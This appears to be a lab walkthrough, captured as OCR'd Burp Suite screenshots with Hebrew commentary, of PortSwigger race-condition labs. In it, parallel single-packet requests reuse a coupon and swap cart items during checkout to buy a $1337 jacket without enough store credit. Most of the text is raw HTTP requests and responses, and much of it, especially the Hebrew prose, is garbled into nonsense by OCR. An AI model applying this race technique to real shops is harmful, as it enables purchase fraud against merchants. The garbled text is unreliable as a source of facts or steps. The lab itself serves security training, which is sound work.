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For 20% off use code at checkout: PROMO20

Store credit: Home | My account | & 0
$50.00

Lightweight “I33t" Leather Jacket Conve ontrolling Lemon Grow Your Own Spy Kit Waterproof Tea Bags

$1337.00 $39.38 $95.86 $94.71

View details View details View details View details
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| For 20% off use code at checkout: PROMO20 ‘

Store credit:
$50.00
Cart

Name Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 ’ 1 °

Coupon:

| PROMOZ0]

Total: $1337.00

Place order
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teroept HTTP history WebSockets history Match and replace 8 Proxy settings
Drop v Fequest to rity ynetddd 191258416 & | @ Openbrowser (3 §
Time Type  Direction Method  UAL Status code Langth
1390:114... WS > Toserer -security-acadsmy abHeader 4
13:10:124... HTTP > Request POST itps://0a2400a9032a1c5381GcSBMB00840019.wab-security-academy.nat/cartcninon
. HITP > Request POST b-security-acad cart
.. HTTP 3 Request POST neeart  agq to scope
13:10:124 ... HITP 3 Request POST v netcart -
1310012 4 HTTP < Request POST rity net/carty
1310:134 .. HTTP - Request POST y-academy neticarti  O™OP
13:10:13 4 HTTP  $ Request POST rity i nat/carty Add notes
HITR  + Request POST Veart  pighiight
. HTTP 3 Request POST v veart -
. HTTP < Request POST ¥ net/carn Dot inkerowpt recuowie
. HTTP 3 Request POST b-security y.neticary D intercept
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HTTP 5 Requast POST b-security-academy.netear  Send to Intruder ~se1
Send to Fepeater ~%A
Send to Sequencer
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Request T =
4 Send o Comparer s =% g
| Pretty | Raw o Hex Request in browser > =
1 POST /cart/coupon HTTP, - 5 2 v 8
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Send (current tab)
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v Send group in parallel (single-packet attack)
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Store credit:

$50.00

Cart

Name Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 0 1 °
Coupon
Add coupon
m Coupon already applied

Code Reduction

PROMO20 -$1317.75

‘ Total: $19.25

Place order
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.race conditions

Store credit: Home | My account | ¢ 0
$30.00

SHOP ~

Lightweight "I33t" Leather Jacket Gift Card High-End Gift Wrapping Cheshire Cat Grin
$1337.00 $10.00 $34.47 $11.75

Description

We can't stress this enough - the “Gift Card” is the best gift you'll ever give. Not only do you get to completely disassociate yourself with the gift-giving process,
you can remain as aloof and impersonal as everybody always assumed you were. It also comes with the added bonus of demonstrating your control and
dominance over the people around you. Who could possibly ask for more.

Pre-define the spending limit, ensure you select from a wide range of available outlets for purchase, and you can even pre-load the card with limitations such as
category-specific purchasing. For example - have you ever wanted to tell your dear friend that they should shower more often? Now you don't have to. You can
give the gift of good hygiene in an impartial and kindly manner.

The heady element of control over giving somebody a gift made up of what was once money, but is now an obligation to spend funds in a pre-specified
environment? That feeling is priceless, and one that you'll both be able to cherish forever.

1 a

Add to cart

Store credit: Home | My account || & 1
$30.00

Gift Card

$10.00

DN'AY NNIN13IM,0'NNM 2v
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Store credit: Home | My account
$30.00

Cart

&1

Name Price  Quantity

o s000 @1 @

Coupon

Add coupon

Total: $10.00

Place order

NISNNYN NIYA 17'X N2 Burpsuite-a N7 '07N9N N'MI00'NY WAl ,N1nTnn Nn7wun dNKY

.NYUDIN 7NN

Request Response
Pretty ~ Raw  Hex w n
1| POST /cart HTTP/2

1
2 Host: 02290029 a808d81d92b9f006c008b.web-security-academy.net 2 Location: /product?productId=2
3 Cookie: session=qoyYG15FLEGYjWF2wWD0q9zz1lpKmPsgnp 3 X-Frame-Options: SAMEORIGIN
Content-Length: 36 4 Content-Length: @
5
6

Pretty Raw Hex e

HTTP/2 302 Found

Cache-Control: max-age=0

Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "mac0S"

Accept-Language: en-US,en;q=0.9

Origin:

https://0a2900290423a80d81d92b9f006CcA@8h. web-security-academy.ne

t

11 Content-Type: application/x-www—form-urlencoded

12 Upgrade-Insecure-Requests: 1

13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36

14 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif
, image/webp, image/apng,*/#;q=0.8,application/signed-exchange;v=b
3;q=0.7

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-Mode: navigate

17 Sec-Fetch-User: 71

18 Sec-Fetch-Dest: document

19 Referer:
https://8a2900290423a80d81d92b9f006c0@8b. web-security-academy.ne
t/product?productId=2

20 Accept-Encoding: gzip, deflate, br

21 Priority: u=@, i

22

23 productId=2&redir=PRODUCT&quantity=1|

"140"

Swm-NOUV &

=

DN'AY NNIN13IM,0'NNM 2v
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Request

Pratty

POST /cart/checkout HTTP/2
G5t: Va al

Raw Hex

DB wn =

1

2 9f006c008b.web-security-academy.net
3 Cookie: session=qoyYG15FLEGYjWF2WD0q9zz1pKmPsqnp
4 Content-Length: 37

5 Cache-Control: max-age=@
6 Sec—Ch-Ua: "Not=A?7Brand";v="24", "Chromium";v="140"

7 Sec—-Ch-Ua-Mobile: 7@

8 Sec-Ch-Ua-Platform: "mac0S"

9 Accept-Language: en-US,en;g=0.9

@ Origin:
https://8a2900290423a80d81d92b9fA06c@08b.web-security-academy.ne
t

Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
»image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b
3;0=0.7
Sec-Fetch-Site:
Sec-Fetch-Mode:
Sec-Fetch-User
Sec-Fetch-Dest:
Referer:
https://0a2900290423a80d81d92b9f@06c@O8b. web-security-academy.ne
t/cart

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

11
12
13

15
16
17
18
19

same-origin
navigate

71

document

20
21
22

23 csrf=tQ4ccX2cB8g2bDE2RIYLA4rmThQBhfC1Z

==
Response
Pretty  Raw  Hex  Render n =
1 HTTP/2 200 0K
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 4545
5
6 <!DOCTYPE html>
7 <html>
8  <head>
9 <link href=/resources/labheader/css/academylLabHeader.css rel=
stylesheet>
10 <link href=/resources/css/labs.css rel=stylesheet>
11 <title>
Multi-endpoint race conditions
</title>
12 </head>
13 <body>
14 <script src="/resources/labheader/js/labHeader.js">
</script>
15 <div id="academylLabHeader">
16 <section class='academyLabBanner'>
17 <div class=container>
18 <div class=logo>
</div>
19 <div class=title-container>
20 <h2>
Multi-endpoint race conditions
</h2>
21 <a class=link-back href='
https://portswigger.net/web-security/race-conditions/
lab-race-conditions-multi-endpoint'>
22 Back&nbsp; to&nbsp; lab&nbsp;description&nbsp;
23 <svg version=1.1 id=Layer_1 xmlns='
http://www.w3.0rg/2000/svg' xmlns:xlink="
http://www.w3.org/1999/xlink' x=8px y=08px viewBox='

AN ANy nYwnIn N7 NNl ,NIMpN N7ay7 VI9N NBOIN TNKT7 NNX NIV MY NIN7YIY INXN

Jmpn 70

DYO ,0'"NY9 INIX N7V NIIZN N7aY 7¢ TMy7? DNAIYWI NN7WIY NYRAN DR NP, [0 1101 NWY)

X777 v nysi nwinn 172w Cookie Dy NNKR

TestGETcat (2 < 15 X 16

Send group (separate connections) | M & Cancel < v

+

O € >

O 0highlights

* Burp Al Target: https://0a6f00ee034c905380802 1
==
Request Response
Pretty Raw Hex Iy n = Pretty Raw Hex Render B \n =
58 <table id='cart-items's>
2 Host: 0abT@0eed34c90538080212a00150037.web-security-academy.net 59 <tbody>
3 [Cooki 1 83HWY8hrrRAugDXjP7 60 <tr>
4 61 <th>
5 Sec-Ch-Ua-Mobile: 70 Name
6 Sec-Ch-Ua-Platform: "mac0S" </th>
7 Accept-Language: en-US,en;q=0.9 62 <th>
8 Upgrade-Insecure-Requests: 1 Price
9 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) </th>
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 63 <th>
Safari/537.36 Quantity
10 Accept: </th>
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, 64 <th>
image/webp, image/apng, */%;q=0.8,application/signed-exchange;v=b3; </th>
q=0.7 65 </tr>
11 Sec-Fetch-Site: same-origin 66 <tr>
12 Sec-Fetch-Mode: navigate 67 <td>
13 Sec-Fetch-User: 71 68 <a href=/product?productId=2>
14 Sec-Fetch-Dest: document Gift Card
15 Referer: </a>
https://0a6f00ee034c90538080212a00150037 .web-security-academy.net 69 </td>
/product?productId=2 70 <td>
16 Accept-Encoding: gzip, deflate, br $10.00
17 Priority: u=0, i </td>
18 71 <td>
19 72 <form action=/cart method=
POST style="'display: inline's>
73 <input required type=
hidden name=productId
value=2>
74 <input required type=

(©)

hidden name=quantity
value=-1>

&€l >

O 0highlights

DN'AY NNIN13IM,0'NNM 2v
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[ Send group (separate connections) | ~ |EEJIIE RIS +¢ Burp Al Target: https://0a600ee034c0053808021
O= =
Request Response
Pretty ~ Raw  Hex 1Ny W = Pretty Raw Hex  Render n =
1[GET scart HiTP/2 | <p>
2 Host: 0acf0O@eed34c90538080212a00150037.web-security-academy.net |
3 [Cookie: | </p>
4 Sec-Ch-Ua: "Not=A?7Brand";v="24", "Chromium";v="140" 48 <a href=/cart>
5 Sec-Ch-Ua-Mobile: 70 49 <img src=
6 Sec-Ch-Ua-Platform: "mac0S" /resources/images/cart_blue.svg />
7 Accept-Language: en-US,en;q=0.9 50 </a>
8 Upgrade-Insecure-Requests: 1 51 <p>
9 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) 2]
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.8.0 </p>
Safari/537.36 52 <p>
10 Accept: |
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, </p>
image/webp,image/apng,*/+;q=0.8,application/signed-exchange;v=b3; 53 </section>
q=0.7 54 </header>
11 Sec-Fetch-Site: same-origin 55 <header class="notification-header">
12 Sec-Fetch-Mode: navigate 56 </header>
13 Sec-Fetch-User: 71 57 <p>
14 Sec-Fetch-Dest: document <strong>
15 Referer: Cart
https://0a6f00ee@34c90538080212a00150037 . web-security-academy.net </strong>
/product?productId=2
16 Accept-Encoding: gzip, deflate, br 58
17 Priority: u=@, i Your cart is empty
18 </p>
19 59 </div>
60 </section>
61 <div class="footer-wrapper">
62 </div>
63 </div>
64 </body>
65 </html>
66
@& €l> £ onignights (3 &} € | £ 0highiights

NP N7V 11720 K77 NI, DMXINN DY 17W 07ayn DR 11727 Cookie-N DY NWRAN NN IN7WWD

.D'YUSNN 1NIX NNIX NIYAINNT 712107 710 01D 23N, NWN T¥2 DNl nmpn N2V '015Y NN 17'0]

.NTN 2¥NN NIX 7¥17 N0 7Y NN 1*70N7 ITN

-2 DnIX vl ,nwDY nYpani n'72u%7 novoIn 1Y nYUpan 0T N'RIY DIYpPan 'MY DR NN

“TAN 112'NA 'MNTO [DIXA |9IXA NIYY [N NN N7W) .Repeater

Race-probe (2 < 17 x 18 | +

(oo roup g s AR

low redirection * Burp Al

(S = I

[FTTP/Z 387 Tound |
0538080212a00150037.web-security-academy.net Locat i

835 IWKnohqq3B3HWYBhr rRAUGDX ] PT 3
6 a
5

4 Content-Lengt

3

a Content-Length: @
5 Cache-Control: max-age=@

6

6 Sec-Ch-Ua: "Not=A?Brand”;v="24", "Chromium";v="14@" 6
Sec-Ch-Ua-Mobile: 78

E Sec-Ch-Ua-Platform: "mac0s"

9 Accept-Language: en-US,en;g=0.9

19 Origin:
https://0abfa0ee034c90518080212200150037 . web-security-academy. net

11 Content-Type: application/x-www-form-urlencoded

12 Upgrade-Insecure-Requests: 1

13 User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_15_7)

AppleWebKit/537.36 (KHTML, Llike Gecko) Chrome/149.0.0.9

Safari/537.36

Accept:

text/html,application/xhtml+xnl,application/xnl;q=0.9, inage/avif,

image/webp, image/apng,*/*;q=8.8,application/signed-exchange;v=b3;

q=0.7

Sec-Fetch-5it:

16 Sec-Fetch-Mod

Sec-Fetch-Use

18 Sec-Fetch-Dest:

19 Referer:
https://
/product?productId=2

20 Accept-Encoding: gzip, deflate, br

21 Priority: u=e, i

22

23 [productTd=2&redir=PRODUCT&quantity=1 |

ane-origin
avigate

1
document

12200150037 web ity-academy.net

@& e > o

Done:

QB e >

0 highlights

7praduct 7product Id=2
X-Frame-Options: SAMEORIGIN

o~
v 12 @
w@ = - x

Request attributes 2 v

Target: http: ¥

== Inspector

il

[= Ul

Jojyoadsu|

Request query parameters 0 v

Request body parameters 3 v

Request cookies 1~

SeloN [

Request headers 2 v

Response headers 3 v

suopoR Wolsny <P

£ 0highlights

N @
100 bytes{ 5388 mills
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TR © | oo |- s J— sty oyt 9 T2 @)
== inspector " T - X [a
Request Response ot o : =
Pretty ~ Raw  Hex " = Pty Raw Hex Render W = Request attributes 2~ 3
1 E
2 T B 2208150037 web-security-acadeny.net 2 Content-Type: text/html; charset=utf-8 Request query parameters o v |8
3 Cookie: session=9n83sIWKnohqq383HWY8hrrRAuQDXjP7 3 X-Frame-Options: SAMEORIGIN b
4 Content-Length: 37 4 Content-Length: 4783 Request body parameters v
5 Cache-Control: max-age=| 5
6 Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium" 6 <!DOCTYPE html> Roquost cookies » - B
7 Sec-Ch-Ua-Mobile: 7@ 7 <html> =
8 Sec-Ch-Ua-Platforn: "mac0s" 8 <head> g
9 Accept-Language: en-US,en;q=0.9 9 <link href= Request headers 23 v 3
10 Origin: /resources/labheader/css/academyLabHeader.css rel=
https://0a6f 12200150037, web ity-academy.net stylesheet> Response headers 3 v
11 Content-Type: application/x-ww—form-urlencoded 10 <link href=/resources/css/labs.css rel=stylesheet> [
12 Upgrade-Insecure-Requests: 1 11 <title>
13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) Multi-endpoint race conditions o
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 </titles &
Safari/537.36 12 </head> 5
14 Accept: 13 <body> E
text/html,application/xhtml+xml,application/xnl;q=0.9,inage/avif, 14 <script src="/resources/labheader/]s/labHeader.js"> 8
image/webp, inage/apng,*/*;q=0.8,application/signed-exchange;v=b3; </script> g
q=0.7 15 <div id="academyLabHeader"> a
15 Sec-Fetch-Site: same-origin 16 <section class='academyLabBanner's
16 Sec-Fetch-Mode: navigate 17 <div class=container>
17 Sec-Fetch-User: 21 18 <div class=logo>
18 Sec-Fetch-Dest: document </div>
19 Referer: 19 <div class=title-container>
https://0a6f00eed3dc99538080212a00150037. web-security-academy.net 20 <h2>
[cart Multi-endpoint race
20 Accept-Encoding: gzip, deflate, br conditions
21 Priority: u=e, i </h2>
22 21 <a class=link-back href='
23 csr=KkhLQZpUsOWS3yZVSIuBRYgzor2Fwyda https://portswigger.net/web-securi
ty/race-conditions/lab-race-condit
ions-multi-endpoint'>
[ORcHEIES £ ohighights (D €| > £ 0highlights ®

Done

4,891 bytes| 111 mily|

W' ,0'N1101N NAIANN 'T? 27 D'wl DX X, MYNN N'Zn NaIYn I]'71'|7I N2y Nw7? Nay niypan

NYRAN90IN T 2V 112'NN X DANYTI DTIR 11'RIY N0'WA WNNWNYT N¥1 [27,72ITAaN'oN' w1Sn DN

ONX7 NN N7'NNA nnbwaw GET-n

T o

Request
Protty  Raw  Hex

Host: 0a6f@peedldc9953B088212a00150837 . web-security-academy. net
Cookie: session=9n8)sIWKnohqq3B3HWYErriAugDX]P7

Sec-Ch-Ua: *Not=A7Brand";v="24", “Chromium 140"
Sec-Ch-Ua-Mobile: 78

Sec-Ch-Ua-Platform: "mac0s"

Accept-Language: en-US,en
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_15_7)
ApplewebKit/537.36 (KHTML, like Gecko) Chrome/148.0.8.0
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, inage/avif,
image/webp, image/apng, +/+;9=0. 8, applicat ion/signed-exchange;v=b3;
q=6.7
Sec-Fetch-Site:
Sec-Fetch-Mode:
Sec-Fetch-User:
Sec-Fetch-Dest:
Referer:
https://0a6feleed34cI0538080212aB0150037 . web-security-academy. net
feart

6 Accept-Encoding: gzip, deflate, br

L7 Priority: u=e, i

2@

same-origin
navigate
71

document

0 highlights

DS €« > ]

* Burp Al

Target:
==

Response
Pratty

Raw  Hex  Render Bw

1 [HTTP/2 208 OK

2 Content-Type: text/html; charset=utf-8
i X-Frame-Options: SAMEORIGIN

4 Content-Length: 10914

5

6 <!DOCTYPE html>
7 <html>
] <head>
9 <link href=
/resources/labheader/css/academylLabHeader.css rel=
stylesheet>
18 <link href=/resources/css/labsEcommerce.css rel=
stylesheet>
1 <title>
Multi-endpoint race conditions
<ftitles
12 </head>
13 <body>
14 <script sre="/resources/labheader/js/labHeader. js">
</script>
15 «div id="academyLabHeader">
16 <section class='academyLabBanner'>
17 <div class=container>
18 <div class=logo>
</div>
19 «div class=title-container>
20 <h2»
Multi-endpoint race
conditions
</h2>
21 <a class=link-back href="

https://portswigger.net/web-securi
ty/race-conditions/lab-race-condit

[l IGIES ]

0 highlights

y net v (3)

Inspector = T X g

Request atiributes 2 v 3

Request query parameters 0 ~ g
Request body parameters. 0 v

2]
Request cookies 1

z

-

Request headers 9 v g
Response headers L Y

4

o

2

a

o

3

&

a

E

2

@

11,023 bytes [385 mills
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Request
Pretty  Raw  Hex

Host: Dabf00eeds4ca0538880212a00150037 . web—security-academy. net

Coakie: session=9n81sIWKnohqq3B3HWYBhrrRAuqDX|P7

Content-Length: 36

Cache-Control: max-age=@

Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";

Sec-Ch-Ua-Mobile: 78

Sec-Ch-Ua-Platform: "mac0s"

Accept-Language: en-US,en;q=0.9

Origin:

https://@a6faReed34c00538080212a08150037 . web-security-academy. net

1 Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 10_15_7)

ApplewebKit/537.36 (KHTML, like Gecko) Chrome/142.8.0.8

Safari/537.36

14 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, inage/avif,
image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;
q=0.7

15 Sec-Fetch-Site: same-origin

6 Sec-Fetch-Mode: navigate

17 Sec-Fetch-User: 71

& Sec-Fetch-Dest: document

19 Referer:
https://0abfo0ec034c90538080212200150037 , web-security-academy. net
/product?productId=2

0 Accept-Encoding: gzip, deflate, br

1 Priority: u=e, i

e

Bomaom s wN

productId=26redir=PRODUCTEquant ity=1

Follow redirection

+} Burp Al Target: hitp: eb-security & wmee (3

== jnspector wnl = - X g

Response =3
F y Raw Hex n = Request attributes 2 v

Jojoadsu|

1 d
2 TocatTon: Jproduct?productld=2 Request query parameters o v
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: @ Request body parameters 3 ~
6 i ®
Request cookies 1w
=
g
Request headers a v g
Response headers 3 v
o
g
g
2
2
B

[OFIGIE £ ohighigts (DB € > O Qhighlights \ )
pore 100 by V|
) cwent [ <]~ + sup et —
M= = inspector - I T X g
Request Response Pe o= - =
= Pretty Raw  Hex  Render B W = Requestatiibutes 2 v B
1 ) %
2 2280150037, web-security-academy.net 2 Content-Type: text/html; charset=utf-8 Request query parameters 0 ¥ 8
3 Cookie N85 IWKNohqg383HWYBhr rRAUQDX]P7 3 X-Frame-Options: SAMEORIGIN b
4 Content-Length: 37 4 Content-Length: 5021 Request body parameters 1w
6 ="140" & <!DOCTYPE html> @
7 Sec-Ch-Ua-Mobile: 70 7 <html> e D~ .
& Sec-Ch-Ua-Platform: "mac0S" 8 <heads 5
9 Accept-Language: en-US,en;q=0.9 L] <link href= Request headers a v g
10 Origin: /resources/labheader/css/academylabHeader. css rels
https://0a6fa0eedI4con5IBOBA212a00150037 . web-security-acadeny . net stylesheet> Response headers 3~
11 Content-Type: application/x-wwe-form-urlencoded 10 <link href=/resources/css/labs.css rel=stylesheet> 3
12 Upgrade-Insecure-Requests: 1 1 <titles
13 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 10_15_7) Multi-endpoint race conditions o
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.8.9.0 </titles B
Safari/537.36 12 </head> g
14 Accept: 13 <body> 2
text/html,application/xhtmlexml, application/xml;q=0,9, image/avif, 14 <script src="/resources/labheader/js/labHeader, js"> -3
image/webp, image/apng, +/+; q=0.8, application/signed-exchange; v=b3; </script> g
q=0.7 15 <div id="academyLabHeader"> @
15 Sec-Fetch-Site: same-origin 16 <section class='academylabBanner'>
16 Sec-Fetch-Mode: navigate 17 <div class=container>
17 Sec-Fetch-User: 71 18 <div class=logo>
16 Sec-Fetch-Dest: document </div>
19 Referer: 19 <div class=title-container>
https://8a6fa0ec034c00538080212a00150037 . web-security-acadeny.net 20 <h2>
feart Multi-endpoint race
20 Accept-Encoding: gzip, deflate, br conditions
21 Priority: u=9, i </h2>
22 21 <a class=link-back href="

23 csrf=KkhLOZpUsIWS3yZVSIuBRYgzor2Fuyda

@&« > o

Daone:

0 highlights

https://portswigger.net/web-securi
ty/race-conditions/lab-race-condit
ions-multi-endpoint'>

@8 <> P

0 highlights.

\\ @

5,129 bytes

Uaonni NI2'NN DX NNXI'Y NIIYKRIN NYRpIAN X' DT N2N DN nnp‘w nypany NIXT7 TWON NYD

.0'172310Nn NI NREzNAl |07 NIMYA NIYPaN 7w nannn ant I'2

NNYYIY NYzad NRYY no1 ,1 KiN 7'vnn 7w productID-nw 1IX¥N NIINN NN NVR N7 T2 INRYT

I'YYY 11D 'NNTO [9IXA TN AW 700 DX NI7WY1 1-7 (TR V9'AN NTYW) 2-n productID-n DX N7aV7

.N7yun o

DN'2'AW NNIEN2IM ,0NNM Y
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[ et o e comscion) KR

L]
1
2
3

D&« > Il

POST /cart HTTP/2
5 L

Race-probe (@ < 19 17 % 18 +

C90538080212a00150037 , web-security-academy.net
Cookie: session=9n81sIWKnohqq3B3HNYBhFrRAUGDXIP7
Content-Length: 36
Cache-Control: max-age=@
Sec-Ch-Ua: “Not=A7Brand"
Sec-Ch-Ua-Mobile: 7@
Sec-Ch-Ua-Platform: “macOs"

Accept-Language: en-US,en;q=0.9

Origin:

https://@a6T0eed34cI0538080212a08150037 .web-security-acadeny.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.8.0.8
Safari/537.36

24", “Chromium™;v="140"

4 Accept:

text/html,application/xhtml+xml,application/xml;q=p.9, image/avif,
image/webp, image/apng, +/*;q=0.8,application/signed-exchange;v=h3;
q=0.7

Sec—Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User:
Sec-Fetch-Dest:
Referer:
https://@a6f0Rech34cI0538080212200150037 web-security-academy.net
/product?product Id=2

Accept-Encoding: gzip, deflate, br

Priority: u=e, i

]

document

Erudu(tId:l&rEdi r=PRODUCT&quantity=1

[Dona

< v Follow redirection

* Burp Al Target:

2 Location: /product?productId=1
3 X-Frame-Options: SAMEORIGIN

4 Content-Length: ®
5
6

onighights  (3) &} € |

0~

.web-security-academy.net /5  HTTR2 @

Inspector
Bws=

Request attributes

e
<
Jojosdsu)

Request query paramaters

Request body parameters 3 v

Request cookies 1 v

seloN [

Request headers B v

Response headers a v

sucnoe wosny <R

£ 0 highlights &

100 bytes | 89 millis

TR © o | <

Request
Pretty  Raw  Hex

15
16
17
18

==

OB« = o

2B

2200150037 . web-security-academy.net
n8JsIWKnohqq383HWYahrrRAUGDX]P7
7

Cookie: sessios
Content-Length
Cache-Contro
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile:
Sec-Ch-Ua-Platform: “mac0S"

Accept-Language: en-US,en;q=6.9

Origin:

https://Ba6f@Beed34c90538080212a00150037. web-security-academy.net

» “Chromium®;v="140"

1 Content-Type: application/x-ww-form-urlencoded

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.® (Macintosh; Intel Mac 05 X 18_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.9.0.8
Safari/537.36

Accept:
text/htnl,application/xhtml+xml,application/xml;q=0.9, inage/avif,
image/webp, inage/apng, x/#;q=0.8, application/signed-exchange;v=b3;
q=0.7

Sec-Fetch-Site: same-crigin

Sec-Fetch-Hode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:
https://Ba6foPeed34cIn538080212a00150037 . web-security-academy. net
feart

Accept-Encoding: gzip, deflate, br

Priority: u=e, i

csrf=KkhLOZpUsIWS3yZVSIuBRYgzor2Fwyda

Done

Follow redirection

* Burp Al Target:
Response
t Raw Hex Re

1 HTTP/2 303 See Other

2 |ocation: /cart?err=INSUFFICIENT_FUNDS
3 X-Frame-Options: SAMEORIGIN

4 Content-Length: @

61

onighights () &3 [ ¢ >

Inspector

X
3

Ui
El
m

Request attributes

Jojadsu|

Request query parameters

Request body parameters 1>

Request cookies 1 v

Request headers. 23 v

saloN [

Response headers. 3 hd

SUONOB WOISND <P

£ 0nighiights @

112 bytes | BB millis

0'T7 7Y 101N NIAPYA N7WI] NWDIN VIXAY NYpan X ,NN7¥N2 nnay

NoI77 N90INT7 NYPaNn

?single packet NU'WA 72N 91X TN NIYPAN 72 NXK N7WI DX N7' NN 7aK 0”700 amn Ny
glep I ] ] I

DN'AY NNIN13IM,0'NNM 2v
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Cancel < v Follow redirection

ErETT=TEE ©

Request
Pretty Raw Hex

Host: Babfllee 0538080212a00150037.web-security-academy.net

Cookie: session=9n8]sIWKnohqq383HWYBhrrRAugDXjP7

Content-Length: 36

Cache-Control: max-age=0

Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: “mac0S"

Accept-Language: en-US,en;q=0.9

Origin:

https://0a6f00ee034c90538080212a00150037.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

2 Upgrade-Insecure-Requests: 1

3 User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36

4 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,

image/webp, image/apng,*/*;q=08.8,application/signed-exchange;v=h3;

q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:

https://0a6f00eed34c90538080212a00150037. web-security-academy.net

/product?productId=2

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

2B w =

SO NOULEWN R

=y

wom~ o Wn

WRPE S

productId=1&redir=PRODUCT&quantity=1

* Burp Al

Target: https://0a6f00ee034c905380802 ]

Response

Pretty Raw Hex Render

HTTP/2 382 Found
ocation: /product?productId=1

1
2
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: @
5
6

B @ cance Follow redirection

Request

Pretty Raw Hex

1 |POST /cart/checkout HTTP/2 |

Host: @a6f@@eed34c90538080212a00150037.web-security-academy.net

Cookie: session=9n8]sIWKnohqq383HWYBhrrRAugDXjP7

Content-Length: 37

Cache-Control: max-age=8

Sec-Ch-Ua: "Not=A?Brand";

Sec-Ch-Ua-Mobile: 7@

Sec-Ch-Ua-Platform: "mac0S"

Accept-Language: en-US,en;q=0.9

Origin:

https://0a6f@0ee@34c90538080212a00150037 . web-security-academy.net

11 Content-Type: application/x-www-form—urlencoded

12 Upgrade-Insecure-Requests: 1

13 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.8.9.8
Safari/537.36

14 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,
image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-Mode: navigate

17 Sec-Fetch-User: 71

18 Sec-Fetch-Dest: document

19 Referer:
https://0a6f@0ee034c90538080212a00150037 .web-security-academy.net
/cart

20 Accept-Encoding: gzip, deflate, br

21 Priority: u=e, i

22

23 csrf=KkhLQZpUsIWS3yZVSIuBRYgzor2Fuyda

2B w

="24", "Chromium";v="140"

SWENOUEWN

=

+¢ Burp Al

1| HTTP/2 200 OK

Target: https:

Response

Pretty Raw Hex Render

onten
X-Frame-Options: SAMEORIGIN
Content-Length: 8102

ype: text/html; charset=utf-8

2
3
4
5
6 <!DOCTYPE html>
7
8
9

<html>
<head>

<link href=

/resources/labheader/css/academyLabHeader.css rel=

stylesheet>
1e <link href=/resources/css/labs.css rel=stylesheet>
11 <title>

Multi-endpoint race conditions

</title>
12 </head>
13 <body>
14 <script src="/resources/labheader/js/labHeader.js">

<fscript>
15 <div id="academylLabHeader">
16 <section class="academylLabBanner is-solved's>
17 <div class=container>
18 <div class=logo>

</div>
19 <div class=title-container>
20 <h2>
Multi-endpoint race
conditions
</h2>

21 <a class=link-back href='

https://portswigger.net/web-securi
ty/race-conditions/lab-race-condit
ions-multi-endpoint'>

DN'AY NNIN13IM,0'NNM 2v
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<p>

<strong>
Your order is on its way!
</strong>

</p>
<table>
<tbody>
<tr>
<th>
Name
</th>
<th>
Price
</th>
<th>
Quantity
</th>
<th>
</th>
</tr>
<tr>
<td>

l<a href=/product?productId=1>
Lightweight &quot;133t&quot;
Leather Jacket

</a>

</td>
<td>

$1337.00
</td>

